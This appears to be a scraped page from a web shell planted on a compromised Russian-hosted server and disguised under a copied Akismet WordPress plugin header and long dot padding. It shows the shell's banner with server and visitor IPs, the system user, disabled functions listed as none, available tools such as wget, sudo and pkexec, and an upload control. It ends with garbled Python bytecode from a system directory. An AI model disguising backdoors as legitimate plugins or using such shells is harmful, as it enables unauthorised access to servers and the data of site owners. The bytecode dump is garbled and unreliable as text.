#/** * @package Akismet */ /* Plugin Name: Akismet Anti-spam: Spam Protection Plugin URI: https://akismet.com/ Description: Used by millions, Akismet is quite possibly the best way in the world to protect your blog from spam. Akismet Anti-spam keeps your site protected even while you sleep. To get started: activate the Akismet plugin and then go to your Akismet Settings page to set up your API key. Version: 5.4 Requires at least: 5.8 Requires PHP: 7.2 Author: Automattic - Anti-spam Team Author URI: https://automattic.com/wordpress-plugins/ License: GPLv2 or later Text Domain: akismet */ /* This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. Copyright 2005-2025 Automattic, Inc. */ // Make sure we don't expose any info if called directly . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
| Server IP : 62.109.13.187 / Your IP : 216.73.216.11 [ Web Server : Apache/2.4.6 (CentOS) mpm-itk/2.4.7-04 OpenSSL/1.0.2k-fips PHP/8.2.28 System : Linux robothost.ru 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64 User : mosrembit ( 6064) PHP Version : 8.2.28 Disable Function : NONE Domains : 0 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /usr/lib64/python2.7/site-packages/cloud_what/ |
Upload File : |
�
L��ec @ sS d Z d d l Z d d l m Z d d l m Z d d l m Z d d l m Z d d l
m Z e e e g Z e j
e � Z d � Z d d d
� Z d d d � Z d d d � Z e d
k rOd d l Z e j
� Z e j e j � e j e j � Z e j e j � e j d � Z e j e � e j e � e � Z d j! e � GHn d S( sC
This module contains several utils used for VMs running on clouds
i����N( t
HostCollector( t CustomFactsCollector( t AWSCloudProvider( t AzureCloudProvider( t GCPCloudProviderc C s6 i } | j t � j � � | j t � j � � | S( sx
Try to gather system facts necessary for detection of cloud provider
:return: Dictionary with system facts
( t updateR t get_allR ( t facts( ( s9 /usr/lib64/python2.7/site-packages/cloud_what/provider.pyt gather_system_facts( s g �?c C s) | d k r t � } n g t D] } | | � ^ q } t j d � g } x6 | D]. } | j � } | t k rQ | j | � qQ qQ Wt | � d k r� t j d j d | d j
� � | t f St | � d k r� t j d � nM t | � d k r.t j d j d d j g | D] } | j
^ q� � � n g } xX | D]P } | j
� } t j d
j | j
| � � | | k r;| j | | f � q;q;W| j d d � d
t � g | D] } | d ^ q�} t | � d k r�t j d � n8 t j d j d d j g | D] } | j
^ q� � � | t f S( s�
This method tries to detect cloud providers and return list of possible cloud providers
:param facts: Dictionary with system facts
:param threshold: Threshold using for detection of cloud provider
:return: List of cloud providers
s Trying to detect cloud provideri s: Detected one cloud provider using strong signs: {provider}t provideri s- No cloud provider detected using strong signssF More than one cloud provider detected using strong signs ({providers})t providerss , s% Cloud provider {} has probability: {}t keyc S s | d S( Ni ( ( t x( ( s9 /usr/lib64/python2.7/site-packages/cloud_what/provider.pyt <lambda>m s t reverses+ No cloud provider detected using heuristicss@ Following cloud providers detected using heuristics: {providers}N( t NoneR t CLOUD_PROVIDERSt logt debugt is_running_on_cloudt Truet appendt lent formatt CLOUD_PROVIDER_IDt errort joint is_likely_running_on_cloudt sortt False( R t thresholdt clst cloud_providerst
cloud_listt cloud_providert cloud_detectedt probabilityt item( ( s9 /usr/lib64/python2.7/site-packages/cloud_what/provider.pyt _get_cloud_providers9 sB
,
)c C s� t | | � \ } } t | � d k r; | t k r; | d St | � d k r� xF | D]>